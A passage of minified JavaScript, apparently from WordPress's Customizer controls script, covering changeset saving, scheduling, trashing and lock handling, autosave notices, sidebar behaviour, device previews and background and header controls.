t,n;"themes"===e.id||(t=e.sections(),n=_.pluck(t,"headContainer"),a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]")))||(_(t).each(function(e){i.append(e.headContainer)}),o=!0)}),Y.section.each(function(e){var t=e.controls(),n=_.pluck(t,"container");e.panel()||a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]"))||(_(t).each(function(e){i.append(e.container)}),o=!0)}),a.sort(Y.utils.prioritySort),t=_.pluck(a,"headContainer"),i=J("#customize-theme-controls .customize-pane-parent"),Y.utils.areElementListsEqual(t,i.children())||(_(a).each(function(e){i.append(e.headContainer)}),o=!0),Y.panel.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),Y.section.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),o&&e&&e.trigger("focus"),Y.trigger("pane-contents-reflowed")},Y),Y.state=new Y.Values,_.each(["saved","saving","trashing","activated","processing","paneVisible","expandedPanel","expandedSection","changesetDate","selectedChangesetDate","changesetStatus","selectedChangesetStatus","remainingTimeToPublish","previewerAlive","editShortcutVisibility","changesetLocked","previewedDevice"],function(e){Y.state.create(e)}),J(function(){var h,o,t,n,i,d,u,p,a,s,r,c,l,f,m,H,L,g,v,w,b,M,O,C,j,y,e,x,k,z,S,T,E,R,B,W,D,N,P,I,U,A;function F(e){e&&e.lockUser&&(Y.settings.changeset.lockUser=e.lockUser),Y.state("changesetLocked").set(!0),Y.notifications.add(new j("changeset_locked",{lockUser:Y.settings.changeset.lockUser,allowOverride:Boolean(e&&e.allowOverride)}))}function q(){var e,t=document.createElement("a");return t.href=location.href,e=Y.utils.parseQueryString(t.search.substr(1)),Y.settings.changeset.latestAutoDraftUuid?e.changeset_uuid=Y.settings.changeset.latestAutoDraftUuid:e.customize_autosaved="on",e.return=Y.settings.url.return,t.search=J.param(e),t.href}function Q(){T||(wp.ajax.post("customize_dismiss_autosave_or_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:!0}),T=!0)}function K(){var e;return Y.state("activated").get()?(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),Y.state("selectedChangesetStatus").get()===e&&("future"!==Y.state("selectedChangesetStatus").get()||Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get())&&Y.state("saved").get()&&"auto-draft"!==Y.state("changesetStatus").get()):0===Y._latestRevision}function V(){Y.unbind("change",V),Y.state("selectedChangesetStatus").unbind(V),Y.state("selectedChangesetDate").unbind(V),J(window).on("beforeunload.customize-confirm",function(){if(!K()&&!Y.state("changesetLocked").get())return setTimeout(function(){t.removeClass("customize-loading")},1),Y.l10n.saveAlert})}function $(){var e=J.Deferred(),t=!1,n=!1;return K()?n=!0:confirm(Y.l10n.saveAlert)?(n=!0,Y.each(function(e){e._dirty=!1}),J(document).off("visibilitychange.wp-customize-changeset-update"),J(window).off("beforeunload.wp-customize-changeset-update"),i.css("cursor","progress"),""!==Y.state("changesetStatus").get()&&(t=!0)):e.reject(),(n||t)&&wp.ajax.send("customize_dismiss_autosave_or_lock",{timeout:500,data:{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:t,dismiss_lock:n}}).always(function(){e.resolve()}),e.promise()}Y.settings=window._wpCustomizeSettings,Y.l10n=window._wpCustomizeControlsL10n,Y.settings&&J.support.postMessage&&(J.support.cors||!Y.settings.isCrossDomain)&&(null===Y.PreviewFrame.prototype.sensitivity&&(Y.PreviewFrame.prototype.sensitivity=Y.settings.timeouts.previewFrameSensitivity),null===Y.Previewer.prototype.refreshBuffer&&(Y.Previewer.prototype.refreshBuffer=Y.settings.timeouts.windowRefresh),o=J(document.body),t=o.children(".wp-full-overlay"),n=J("#customize-info .panel-title.site-title"),i=J(".customize-controls-close"),d=J("#save"),u=J("#customize-save-button-wrapper"),p=J("#publish-settings"),a=J("#customize-footer-actions"),Y.bind("ready",function(){Y.section.add(new Y.OuterSection("publish_settings",{title:Y.l10n.publishSettings,priority:0,active:Y.settings.theme.active}))}),Y.section("publish_settings",function(t){var e,n,i,a,o,s,r;function c(){r=r||Y.utils.highlightButton(u,{delay:1e3,focusTarget:d})}function l(){r&&(r(),r=null)}e=new Y.Control("trash_changeset",{type:"button",section:t.id,priority:30,input_attrs:{class:"button-link button-link-delete",value:Y.l10n.discardChanges}}),Y.control.add(e),e.deferred.embedded.done(function(){e.container.find(".button-link").on("click",function(){confirm(Y.l10n.trashConfirm)&&wp.customize.previewer.trash()})}),Y.control.add(new Y.PreviewLinkControl("changeset_preview_link",{section:t.id,priority:100})),t.active.validate=n=function(){return!!Y.state("activated").get()&&!(Y.state("trashing").get()||"trash"===Y.state("changesetStatus").get()||""===Y.state("changesetStatus").get()&&Y.state("saved").get())},s=function(){t.active.set(n())},Y.state("activated").bind(s),Y.state("trashing").bind(s),Y.state("saved").bind(s),Y.state("changesetStatus").bind(s),s(),(s=function(){p.toggle(t.active.get()),d.toggleClass("has-next-sibling",t.active.get())})(),t.active.bind(s),Y.state("selectedChangesetStatus").bind(l),t.contentContainer.find(".customize-action").text(Y.l10n.updating),t.contentContainer.find(".customize-section-back").removeAttr("tabindex"),p.prop("disabled",!1),p.on("click",function(e){e.preventDefault(),t.expanded.set(!t.expanded.get())}),t.expanded.bind(function(e){p.attr("aria-expanded",String(e)),p.toggleClass("active",e),e?l():(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),(Y.state("selectedChangesetStatus").get()!==e||"future"===Y.state("selectedChangesetStatus").get()&&Y.state("selectedChangesetDate").get()!==Y.state("changesetDate").get())&&c())}),s=new Y.Control("changeset_status",{priority:10,type:"radio",section:"publish_settings",setting:Y.state("selectedChangesetStatus"),templateId:"customize-selected-changeset-status-control",label:Y.l10n.action,choices:Y.settings.changeset.statusChoices}),Y.control.add(s),(i=new Y.DateTimeControl("changeset_scheduled_date",{priority:20,section:"publish_settings",setting:Y.state("selectedChangesetDate"),minYear:(new Date).getFullYear(),allowPastDate:!1,includeTime:!0,twelveHourFormat:/a/i.test(Y.settings.timeFormat),description:Y.l10n.scheduleDescription})).notifications.alt=!0,Y.control.add(i),a=function(){Y.state("selectedChangesetStatus").set("publish"),Y.previewer.save()},s=function(){var e="future"===Y.state("changesetStatus").get()&&"future"===Y.state("selectedChangesetStatus").get()&&Y.state("changesetDate").get()&&Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get()&&0<=Y.utils.getRemainingTime(Y.state("changesetDate").get());e&&!o?o=setInterval(function(){var e=Y.utils.getRemainingTime(Y.state("changesetDate").get());Y.state("remainingTimeToPublish").set(e),e<=0&&(clearInterval(o),o=0,a())},1e3):!e&&o&&(clearInterval(o),o=0)},Y.state("changesetDate").bind(s),Y.state("selectedChangesetDate").bind(s),Y.state("changesetStatus").bind(s),Y.state("selectedChangesetStatus").bind(s),s(),i.active.validate=function(){return"future"===Y.state("selectedChangesetStatus").get()},(s=function(e){i.active.set("future"===e)})(Y.state("selectedChangesetStatus").get()),Y.state("selectedChangesetStatus").bind(s),Y.state("saving").bind(function(e){e&&"future"===Y.state("selectedChangesetStatus").get()&&i.toggleFutureDateNotification(!i.isFutureDate())})}),J("#customize-controls").on("keydown",function(e){var t=13===e.which,n=J(e.target);t&&(n.is("input:not([type=button])")||n.is("select"))&&e.preventDefault()}),J(".customize-info").find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e=J(this).closest(".accordion-section"),t=e.find(".customize-panel-description:first");e.hasClass("cannot-expand")||(e.hasClass("open")?(e.toggleClass("open"),t.slideUp(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(t.slideDown(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),e.toggleClass("open"),J(this).attr("aria-expanded",!0)))}),Y.previewer=new Y.Previewer({container:"#customize-preview",form:"#customize-controls",previewUrl:Y.settings.url.preview,allowedUrls:Y.settings.url.allowed},{nonce:Y.settings.nonce,query:function(e){var t={wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,nonce:this.nonce.preview,customize_changeset_uuid:Y.settings.changeset.uuid};return!Y.settings.changeset.autosaved&&Y.state("saved").get()||(t.customize_autosaved="on"),t.customized=JSON.stringify(Y.dirtyValues({unsaved:e&&e.excludeCustomizedSaved})),t},save:function(i){var e,t,a=this,o=J.Deferred(),s=Y.state("selectedChangesetStatus").get(),r=Y.state("selectedChangesetDate").get(),n=Y.state("processing"),c={},l=[],d=[],u=[];function p(e){c[e.id]=!0}return i&&i.status&&(s=i.status),Y.state("saving").get()&&(o.reject("already_saving"),o.promise()),Y.state("saving").set(!0),t=function(){var n={},t=Y._latestRevision,e="client_side_error";if(Y.bind("change",p),Y.notifications.remove(e),Y.each(function(t){t.notifications.each(function(e){"error"!==e.type||e.fromServer||(l.push(t.id),n[t.id]||(n[t.id]={}),n[t.id][e.code]=e)})}),Y.control.each(function(t){t.setting&&(t.setting.id||!t.active.get())||t.notifications.each(function(e){"error"===e.type&&u.push([t])})}),d=_.union(u,_.values(Y.findControlsForSettings(l))),!_.isEmpty(d))return d[0][0].focus(),Y.unbind("change",p),l.length&&Y.notifications.add(new Y.Notification(e,{message:(1===l.length?Y.l10n.saveBlockedError.singular:Y.l10n.saveBlockedError.plural).replace(/%s/g,String(l.length)),type:"error",dismissible:!0,saveFailure:!0})),o.rejectWith(a,[{setting_invalidities:n}]),Y.state("saving").set(!1),o.promise();e=J.extend(a.query({excludeCustomizedSaved:!1}),{nonce:a.nonce.save,customize_changeset_status:s}),i&&i.date?e.customize_changeset_date=i.date:"future"===s&&r&&(e.customize_changeset_date=r),i&&i.title&&(e.customize_changeset_title=i.title),Y.trigger("save-request-params",e),e=wp.ajax.post("customize_save",e),Y.state("processing").set(Y.state("processing").get()+1),Y.trigger("save",e),e.always(function(){Y.state("processing").set(Y.state("processing").get()-1),Y.state("saving").set(!1),Y.unbind("change",p)}),Y.notifications.each(function(e){e.saveFailure&&Y.notifications.remove(e.code)}),e.fail(function(e){var t,n={type:"error",dismissible:!0,fromServer:!0,saveFailure:!0};"0"===e?e="not_logged_in":"-1"===e&&(e="invalid_nonce"),"invalid_nonce"===e?a.cheatin():"not_logged_in"===e?(a.preview.iframe.hide(),a.login().done(function(){a.save(),a.preview.iframe.show()})):e.code?"not_future_date"===e.code&&Y.section.has("publish_settings")&&Y.section("publish_settings").active.get()&&Y.control.has("changeset_scheduled_date")?Y.control("changeset_scheduled_date").toggleFutureDateNotification(!0).focus():"changeset_locked"!==e.code&&(t=new Y.Notification(e.code,_.extend(n,{message:e.message}))):t=new Y.Notification("unknown_error",_.extend(n,{message:Y.l10n.unknownRequestFail})),t&&Y.notifications.add(t),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.rejectWith(a,[e]),Y.trigger("error",e),"changeset_already_published"===e.code&&e.next_changeset_uuid&&(Y.settings.changeset.uuid=e.next_changeset_uuid,Y.state("changesetStatus").set(""),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y.previewer.send("changeset-uuid",Y.settings.changeset.uuid))}),e.done(function(e){a.send("saved",e),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),"publish"===e.changeset_status&&(Y.each(function(e){e._dirty&&(_.isUndefined(Y._latestSettingRevisions[e.id])||Y._latestSettingRevisions[e.id]<=t)&&(e._dirty=!1)}),Y.state("changesetStatus").set(""),Y.settings.changeset.uuid=e.next_changeset_uuid,Y.settings.changeset.branching)&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y._lastSavedRevision=Math.max(t,Y._lastSavedRevision),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.resolveWith(a,[e]),Y.trigger("saved",e),_.isEmpty(c)||Y.state("saved").set(!1)})},0===n()?t():(e=function(){0===n()&&(Y.state.unbind("change",e),t())},Y.state.bind("change",e)),o.promise()},trash:function(){var e,n,i;Y.state("trashing").set(!0),Y.state("processing").set(Y.state("processing").get()+1),e=wp.ajax.post("customize_trash",{customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.trash}),Y.notifications.add(new Y.OverlayNotification("changeset_trashing",{type:"info",message:Y.l10n.revertingChanges,loading:!0})),n=function(){var e,t=document.createElement("a");Y.state("changesetStatus").set("trash"),Y.each(function(e){e._dirty=!1}),Y.state("saved").set(!0),t.href=location.href,delete(e=Y.utils.parseQueryString(t.search.substr(1))).changeset_uuid,e.return=Y.settings.url.return,t.search=J.param(e),location.replace(t.href)},i=function(e,t){e=e||"unknown_error";Y.state("processing").set(Y.state("processing").get()-1),Y.state("trashing").set(!1),Y.notifications.remove("changeset_trashing"),Y.notifications.add(new Y.Notification(e,{message:t||Y.l10n.unknownError,dismissible:!0,type:"error"}))},e.done(function(e){n(e.message)}),e.fail(function(e){var t=e.code||"trashing_failed";e.success||"non_existent_changeset"===t||"changeset_already_trashed"===t?n(e.message):i(t,e.message)})},getFrontendPreviewUrl:function(){var e,t=document.createElement("a");return t.href=this.previewUrl.get(),e=Y.utils.parseQueryString(t.search.substr(1)),Y.state("changesetStatus").get()&&"publish"!==Y.state("changesetStatus").get()&&(e.customize_changeset_uuid=Y.settings.changeset.uuid),Y.state("activated").get()||(e.customize_theme=Y.settings.theme.stylesheet),t.search=J.param(e),t.href}}),J.ajaxPrefilter(function(e){/wp_customize=on/.test(e.data)&&(e.data+="&"+J.param({customize_preview_nonce:Y.settings.nonce.preview}))}),Y.previewer.bind("nonce",function(e){J.extend(this.nonce,e)}),Y.bind("nonce-refresh",function(e){J.extend(Y.settings.nonce,e),J.extend(Y.previewer.nonce,e),Y.previewer.send("nonce-refresh",e)}),J.each(Y.settings.settings,function(e,t){var n=Y.settingConstructor[t.type]||Y.Setting;Y.add(new n(e,t.value,{transport:t.transport,previewer:Y.previewer,dirty:!!t.dirty}))}),J.each(Y.settings.panels,function(e,t){var n=Y.panelConstructor[t.type]||Y.Panel,t=_.extend({params:t},t);Y.panel.add(new n(e,t))}),J.each(Y.settings.sections,function(e,t){var n=Y.sectionConstructor[t.type]||Y.Section,t=_.extend({params:t},t);Y.section.add(new n(e,t))}),J.each(Y.settings.controls,function(e,t){var n=Y.controlConstructor[t.type]||Y.Control,t=_.extend({params:t},t);Y.control.add(new n(e,t))}),_.each(["panel","section","control"],function(e){var t=Y.settings.autofocus[e];t&&Y[e](t,function(e){e.deferred.embedded.done(function(){Y.previewer.deferred.active.done(function(){e.focus()})})})}),Y.bind("ready",Y.reflowPaneContents),J([Y.panel,Y.section,Y.control]).each(function(e,t){var n=_.debounce(Y.reflowPaneContents,Y.settings.timeouts.reflowPaneContents);t.bind("add",n),t.bind("change",n),t.bind("remove",n)}),Y.bind("ready",function(){var e,t,n;Y.notifications.container=J("#customize-notifications-area"),Y.notifications.bind("change",_.debounce(function(){Y.notifications.render()})),e=J(".wp-full-overlay-sidebar-content"),Y.notifications.bind("rendered",function(){e.css("top",""),0!==Y.notifications.count()&&(t=Y.notifications.container.outerHeight()+1,n=parseInt(e.css("top"),10),e.css("top",n+t+"px")),Y.notifications.trigger("sidebarTopUpdated")}),Y.notifications.render()}),s=Y.state,c=s.instance("saved"),l=s.instance("saving"),f=s.instance("trashing"),m=s.instance("activated"),e=s.instance("processing"),I=s.instance("paneVisible"),H=s.instance("expandedPanel"),L=s.instance("expandedSection"),g=s.instance("changesetStatus"),v=s.instance("selectedChangesetStatus"),w=s.instance("changesetDate"),b=s.instance("selectedChangesetDate"),M=s.instance("previewerAlive"),O=s.instance("editShortcutVisibility"),C=s.instance("changesetLocked"),s.bind("change",function(){var e;m()?""===g.get()&&c()?(Y.settings.changeset.currentUserCanPublish?d.val(Y.l10n.published):d.val(Y.l10n.saved),i.find(".screen-reader-text").text(Y.l10n.close)):("draft"===v()?c()&&v()===g()?d.val(Y.l10n.draftSaved):d.val(Y.l10n.saveDraft):"future"===v()?!c()||v()!==g()||w.get()!==b.get()?d.val(Y.l10n.schedule):d.val(Y.l10n.scheduled):Y.settings.changeset.currentUserCanPublish&&d.val(Y.l10n.publish),i.find(".screen-reader-text").text(Y.l10n.cancel)):(d.val(Y.l10n.activate),i.find(".screen-reader-text").text(Y.l10n.cancel)),e=!l()&&!f()&&!C()&&(!m()||!c()||g()!==v()&&""!==g()||"future"===v()&&w.get()!==b.get()),d.prop("disabled",!e)}),v.validate=function(e){return""===e||"auto-draft"===e?null:e},S=Y.settings.changeset.currentUserCanPublish?"publish":"draft",g(Y.settings.changeset.status),C(Boolean(Y.settings.changeset.lockUser)),w(Y.settings.changeset.publishDate),b(Y.settings.changeset.publishDate),v(""===Y.settings.changeset.status||"auto-draft"===Y.settings.changeset.status?S:Y.settings.changeset.status),v.link(g),c(!0),""===g()&&Y.each(function(e){e._dirty&&c(!1)}),l(!1),m(Y.settings.theme.active),e(0),I(!0),H(!1),L(!1),M(!0),O("visible"),Y.bind("change",function(){s("saved").get()&&s("saved").set(!1)}),Y.settings.changeset.branching&&c.bind(function(e){e||r(!0)}),l.bind(function(e){o.toggleClass("saving",e)}),f.bind(function(e){o.toggleClass("trashing",e)}),Y.bind("saved",function(e){s("saved").set(!0),"publish"===e.changeset_status&&s("activated").set(!0)}),m.bind(function(e){e&&Y.trigger("activated")}),r=function(e){var t,n;if(history.replaceState){if((t=document.createElement("a")).href=location.href,n=Y.utils.parseQueryString(t.search.substr(1)),e){if(n.changeset_uuid===Y.settings.changeset.uuid)return;n.changeset_uuid=Y.settings.changeset.uuid}else{if(!n.changeset_uuid)return;delete n.changeset_uuid}t.search=J.param(n),history.replaceState({},document.title,t.href)}},Y.settings.changeset.branching&&g.bind(function(e){r(""!==e&&"publish"!==e&&"trash"!==e)}),j=Y.OverlayNotification.extend({templateId:"customize-changeset-locked-notification",lockUser:null,initialize:function(e,t){e=e||"changeset_locked",t=_.extend({message:"",type:"warning",containerClasses:"",lockUser:{}},t);t.containerClasses+=" notification-changeset-locked",Y.OverlayNotification.prototype.initialize.call(this,e,t)},render:function(){var t,n,i=this,e=_.extend({allowOverride:!1,returnUrl:Y.settings.url.return,previewUrl:Y.previewer.previewUrl.get(),frontendPreviewUrl:Y.previewer.getFrontendPreviewUrl()},this),a=Y.OverlayNotification.prototype.render.call(e);return Y.requestChangesetUpdate({},{autosave:!0}).fail(function(e){e.autosaved||a.find(".notice-error").prop("hidden",!1).text(e.message||Y.l10n.unknownRequestFail)}),(t=a.find(".customize-notice-take-over-button")).on("click",function(e){e.preventDefault(),n||(t.addClass("disabled"),(n=wp.ajax.post("customize_override_changeset_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.override_lock})).done(function(){Y.notifications.remove(i.code),Y.state("changesetLocked").set(!1)}),n.fail(function(e){e=e.message||Y.l10n.unknownRequestFail;a.find(".notice-error").prop("hidden",!1).text(e),n.always(function(){t.removeClass("disabled")})}),n.always(function(){n=null}))}),a}}),Y.settings.changeset.lockUser&&F({allowOverride:!0}),J(document).on("heartbeat-send.update_lock_notice",function(e,t){t.check_changeset_lock=!0,t.changeset_uuid=Y.settings.changeset.uuid}),J(document).on("heartbeat-tick.update_lock_notice",function(e,t){var n,i="changeset_locked";t.customize_changeset_lock_user&&((n=Y.notifications(i))&&n.lockUser.id!==Y.settings.changeset.lockUser.id&&Y.notifications.remove(i),F({lockUser:t.customize_changeset_lock_user}))}),Y.bind("error",function(e){"changeset_locked"===e.code&&e.lock_user&&F({lockUser:e.lock_user})}),T=!(S=[]),Y.settings.changeset.autosaved&&(Y.state("saved").set(!1),S.push("customize_autosaved")),Y.settings.changeset.branching||Y.settings.changeset.status&&"auto-draft"!==Y.settings.changeset.status||S.push("changeset_uuid"),0<S.length&&(S=S,e=document.createElement("a"),x=0,e.href=location.href,y=Y.utils.parseQueryString(e.search.substr(1)),_.each(S,function(e){void 0!==y[e]&&(x+=1,delete y[e])}),0!==x)&&(e.search=J.param(y),history.replaceState({},document.title,e.href)),(Y.settings.changeset.latestAutoDraftUuid||Y.settings.changeset.hasAutosaveRevision)&&(z="autosave_available",Y.notifications.add(new Y.Notification(z,{message:Y.l10n.autosaveNotice,type:"warning",dismissible:!0,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("a");return t.prop("href",q()),t.on("click",function(e){e.preventDefault(),location.replace(q())}),e.find(".notice-dismiss").on("click",Q),e}})),Y.bind("change",k=function(){Q(),Y.notifications.remove(z),Y.unbind("change",k),Y.state("changesetStatus").unbind(k)}),Y.state("changesetStatus").bind(k)),parseInt(J("#customize-info").data("block-theme"),10)&&(S=Y.l10n.blockThemeNotification,Y.notifications.add(new Y.Notification("site_editor_block_theme_notice",{message:S,type:"info",dismissible:!1,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("button.switch-to-editor");return t.on("click",function(e){e.preventDefault(),location.assign(t.data("action"))}),e}}))),Y.previewer.previewUrl()?Y.previewer.refresh():Y.previewer.previewUrl(Y.settings.url.home),d.on("click",function(e){Y.previewer.save(),e.preventDefault()}).on("keydown",function(e){9!==e.which&&(13===e.which&&Y.previewer.save(),e.preventDefault())}),i.on("keydown",function(e){9!==e.which&&(13===e.which&&this.click(),e.preventDefault())}),J(".collapse-sidebar").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),Y.state("paneVisible").bind(function(e){t.toggleClass("preview-only",!e),t.toggleClass("expanded",e),t.toggleClass("collapsed",!e),e?J(".collapse-sidebar").attr({"aria-expanded":"true","aria-label":Y.l10n.collapseSidebar}):J(".collapse-sidebar").attr({"aria-expanded":"false","aria-label":Y.l10n.expandSidebar})}),o.on("keydown",function(e){var t,n=[],i=[],a=[];27===e.which&&(J(e.target).is("body")||J.contains(J("#customize-controls")[0],e.target))&&null===e.target.closest(".block-editor-writing-flow")&&null===e.target.closest(".block-editor-block-list__block-popover")&&(Y.control.each(function(e){e.expanded&&e.expanded()&&_.isFunction(e.collapse)&&n.push(e)}),Y.section.each(function(e){e.expanded()&&i.push(e)}),Y.panel.each(function(e){e.expanded()&&a.push(e)}),0<n.length&&0===i.length&&(n.length=0),t=n[0]||i[0]||a[0])&&("themes"===t.params.type?o.hasClass("modal-open")?t.closeDetails():Y.panel.has("themes")&&Y.panel("themes").collapse():(t.collapse(),e.preventDefault()))}),J(".customize-controls-preview-toggle").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),P=J(".wp-full-overlay-sidebar-content"),I=function(e){var t=Y.state("expandedSection").get(),n=Y.state("expandedPanel").get();if(D&&D.element&&(R(D.element),D.element.find(".description").off("toggled",E)),!e)if(!t&&n&&n.contentContainer)e=n;else{if(n||!t||!t.contentContainer)return void(D=!1);e=t}(n=e.contentContainer.find(".customize-section-title, .panel-meta").first()).length?((D={instance:e,element:n,parent:n.closest(".customize-pane-child"),height:n.outerHeight()}).element.find(".description").on("toggled",E),t&&B(D.element,D.parent)):D=!1},Y.state("expandedSection").bind(I),Y.state("expandedPanel").bind(I),P.on("scroll",_.throttle(function(){var e,t;D&&(e=P.scrollTop(),t=N?e===N?0:N<e?1:-1:1,N=e,0!==t)&&W(D,e,t)},8)),Y.notifications.bind("sidebarTopUpdated",function(){D&&D.element.hasClass("is-sticky")&&D.element.css("top",P.css("top"))}),R=function(e){e.hasClass("is-sticky")&&e.removeClass("is-sticky").addClass("maybe-sticky is-in-view").css("top",P.scrollTop()+"px")},B=function(e,t){e.hasClass("is-in-view")&&(e.removeClass("maybe-sticky is-in-view").css({width:"",top:""}),t.css("padding-top",""))},E=function(){D.height=D.element.outerHeight()},W=function(e,t,n){var i=e.element,a=e.parent,e=e.height,o=parseInt(i.css("top"),10),s=i.hasClass("maybe-sticky"),r=i.hasClass("is-sticky"),c=i.hasClass("is-in-view");if(-1===n){if(!s&&e<=t)s=!0,i.addClass("maybe-sticky");else if(0===t)return i.removeClass("maybe-sticky is-in-view is-sticky").css({top:"",width:""}),void a.css("padding-top","");c&&!r?t<=o&&i.addClass("is-sticky").css({top:P.css("top"),width:a.outerWidth()+"px"}):s&&!c&&(i.addClass("is-in-view").css("top",t-e+"px"),a.css("padding-top",e+"px"))}else r&&(o=t,i.removeClass("is-sticky").css({top:o+"px",width:""})),c&&o+e<t&&(i.removeClass("is-in-view"),a.css("padding-top",""))},Y.previewedDevice=Y.state("previewedDevice"),Y.bind("ready",function(){_.find(Y.settings.previewableDevices,function(e,t){if(!0===e.default)return Y.previewedDevice.set(t),!0})}),a.find(".devices button").on("click",function(e){Y.previewedDevice.set(J(e.currentTarget).data("device"))}),Y.previewedDevice.bind(function(e){var t=J(".wp-full-overlay"),n="";a.find(".devices button").removeClass("active").attr("aria-pressed",!1),a.find(".devices .preview-"+e).addClass("active").attr("aria-pressed",!0),J.each(Y.settings.previewableDevices,function(e){n+=" preview-"+e}),t.removeClass(n).addClass("preview-"+e)}),n.length&&Y("blogname",function(t){function e(){var e=t()||"";n.text(e.toString().trim()||Y.l10n.untitledBlogName)}t.bind(e),e()}),h=new Y.Messenger({url:Y.settings.url.parent,channel:"loader"}),U=!1,h.bind("back",function(){U=!0}),Y.bind("change",V),Y.state("selectedChangesetStatus").bind(V),Y.state("selectedChangesetDate").bind(V),h.bind("confirm-close",function(){$().done(function(){h.send("confirmed-close",!0)}).fail(function(){h.send("confirmed-close",!1)})}),i.on("click.customize-controls-close",function(e){e.preventDefault(),U?h.send("close"):$().done(function(){J(window).off("beforeunload.customize-confirm"),window.location.href=i.prop("href")})}),J.each(["saved","change"],function(e,t){Y.bind(t,function(){h.send(t)})}),Y.bind("title",function(e){h.send("title",e)}),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),h.send("ready"),J.each({background_image:{controls:["background_preset","background_position","background_size","background_repeat","background_attachment"],callback:function(e){return!!e}},show_on_front:{controls:["page_on_front","page_for_posts"],callback:function(e){return"page"===e}},header_textcolor:{controls:["header_textcolor"],callback:function(e){return"blank"!==e}}},function(e,i){Y(e,function(n){J.each(i.controls,function(e,t){Y.control(t,function(t){function e(e){t.container.toggle(i.callback(e))}e(n.get()),n.bind(e)})})})}),Y.control("background_preset",function(e){var i={default:[!1,!1,!1,!1],fill:[!0,!1,!1,!1],fit:[!0,!1,!0,!1],repeat:[!0,!1,!1,!0],custom:[!0,!0,!0,!0]},a={default:[_wpCustomizeBackground.defaults["default-position-x"],_wpCustomizeBackground.defaults["default-position-y"],_wpCustomizeBackground.defaults["default-size"],_wpCustomizeBackground.defaults["default-repeat"],_wpCustomizeBackground.defaults["default-attachment"]],fill:["left","top","cover","no-repeat","fixed"],fit:["left","top","contain","no-repeat","fixed"],repeat:["left","top","auto","repeat","scroll"]},t=function(n){_.each(["background_position","background_size","background_repeat","background_attachment"],function(e,t){e=Y.control(e);e&&e.container.toggle(i[n][t])})},n=function(n){_.each(["background_position_x","background_position_y","background_size","background_repeat","background_attachment"],function(e,t){e=Y(e);e&&e.set(a[n][t])})},o=e.setting.get();t(o),e.setting.bind("change",function(e){t(e),"custom"!==e&&n(e)})}),Y.control("background_repeat",function(t){t.elements[0].unsync(Y("background_repeat")),t.element=new Y.Element(t.container.find("input")),t.element.set("no-repeat"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"repeat":"no-repeat")}),t.setting.bind(function(e){t.element.set("no-repeat"!==e)})}),Y.control("background_attachment",function(t){t.elements[0].unsync(Y("background_attachment")),t.element=new Y.Element(t.container.find("input")),t.element.set("fixed"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"scroll":"fixed")}),t.setting.bind(function(e){t.element.set("fixed"!==e)})}),Y.control("display_header_text",function(t){var n="";t.elements[0].unsync(Y("header_textcolor")),t.element=new Y.Element(t.container.find("input")),t.element.set("blank"!==t.setting()),t.element.bind(function(e){e||(n=Y("header_textcolor").get()),t.setting.set(e?n:"blank")}),t.setting.bind(function(e){t.element.set("blank"!==e)})}),Y("show_on_front","page_on_front","page_for_posts",function(i,a,o){function e(){var e="show_on_front_page_collision",t=parseInt(a(),10),n=parseInt(o(),10);"page"===i()&&(this===a&&0<t&&Y.previewer.previewUrl.set(Y.settings.url.home),this===o)&&0<n&&Y.previewer.previewUrl.set(Y.settings.url.home+"?page_id="+n),"page"===i()&&t&&n&&t===n?i.notifications.add(new Y.Notification(e,{type:"error",message:Y.l10n.pageOnFrontError})):i.notifications.remove(e)}i.bind(e),a.bind(e),o.bind(e),e.call(i,i()),Y.control("show_on_front",function(e){e.deferred.embedded.done(function(){e.container.append(e.getNotificationsContainerElement())})})}),A=J.Deferred(),Y.section("custom_css",function(t){t.deferred.embedded.done(function(){t.expanded()?A.resolve(t):t.expanded.bind(function(e){e&&A.resolve(t)})})}),A.done(function(e){var t=Y.control("custom_css");t.container.find(".customize-control-title:first").addClass("screen-reader-text"),e.container.find(".section-description-buttons .section-description-close").on("click",function(){e.container.find(".section-meta .customize-section-description:first").removeClass("open").slideUp(),e.container.find(".customize-help-toggle").attr("aria-expanded","false").focus()}),t&&!t.setting.get()&&(e.container.find(".section-meta .customize-section-description:first").addClass("open").show().trigger("toggled"),e.container.find(".customize-help-toggle").attr("aria-expanded","true"))}),Y.control("header_video",function(n){n.deferred.embedded.done(function(){function e(){var 